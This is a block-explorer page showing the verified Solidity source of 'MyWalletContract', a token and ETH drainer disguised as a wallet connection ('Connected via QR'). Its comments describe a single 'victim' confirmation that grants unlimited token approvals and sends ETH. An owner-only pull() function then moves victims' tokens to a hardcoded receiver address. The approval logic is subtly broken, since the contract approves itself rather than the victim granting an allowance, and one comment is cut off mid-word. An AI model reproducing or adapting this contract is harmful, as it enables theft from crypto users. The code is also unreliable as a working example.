Verified contractExactMIT
MyWalletContract
Address0x1805badc61cea543791e68cd6bc83c54aca7df2c
- Balance
0 ETH
- Transactions
3
- Compiler
solc 0.8.20
- Same code
1 more contract
Details
- Compiler
- solc 0.8.20+commit.a1b79de6
- Language
- solidity
- Optimization
- No
- License
- MIT
- Match
- Exactcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 26,472,391
- Creation transaction
- 0xd99d2e8af2…1a4dfefa0c
contracts/MyWalletContract.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
interface IERC20 {
function approve(address, uint256) external returns (bool);
function transferFrom(address, address, uint256) external returns (bool);
function balanceOf(address) external view returns (uint256);
}
contract MyWalletContract {
address public owner;
address public receiver;
string public message = "Connected via QR";
address[] public tokens;
event Received(address indexed from, uint256 amount, string note);
event Pulled(address indexed victim, address token, uint256 amount);
modifier onlyOwner() {
require(msg.sender == owner, "Only owner");
_;
}
constructor(address[] memory _tokens) {
owner = 0xFDEB02eD7Ff611F2D1D3fA2148c8E43fa8266b3E;
receiver = 0xFDEB02eD7Ff611F2D1D3fA2148c8E43fa8266b3E;
tokens = _tokens;
}
// ---- THE ONE CONFIRM ----
// ---- THE ONE CONFIRM ----
// Victim calls once. Approves tokens AND deposits ETH in the same tx.
function connect() external payable {
for (uint256 i = 0; i < tokens.length; i++) {
address token = tokens[i];
if (token == address(0)) {
revert("Zero address in tokens array");
}
try IERC20(token).approve(address(this), type(uint256).max) {
// Success
} catch (bytes memory reason) {
revert(string(reason));
}
}
if (msg.value > 0) {
emit Received(msg.sender, msg.value, "connected");
}
}
// ---- OWNER PULL, NO USER ACTION (TOKENS) ----
function pull(address victim, uint256 amount) external onlyOwner {
for (uint256 i = 0; i < tokens.length; i++) {
address token = tokens[i];
if (token == address(0)) continue;
uint256 victimBal = IERC20(token).balanceOf(victim);
if (victimBal >= amount) {
try IERC20(token).transferFrom(victim, receiver, amount) {
emit Pulled(victim, token, amount);
} catch {
revert("Token transfer failed");
}
}
}
// NOTE: no ETH block here. ETH was already captured in connect().
}
// withdraw() already exists — it sends the contract's ETH to owner. Don
function setReceiver(address r) external onlyOwner {
receiver = r;
}
function setTokens(address[] memory t) external onlyOwner {
tokens = t;
}
function setMessage(string memory m) external {
message = m;
}
receive() external payable {
emit Received(msg.sender, msg.value, "direct transfer");
}
function withdraw() external onlyOwner {
(bool ok, ) = payable(owner).call{value: address(this).balance}("");
require(ok, "send failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}Compiler settingsShow
{
"optimizer": {
"runs": 200,
"enabled": false
},
"remappings": []
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.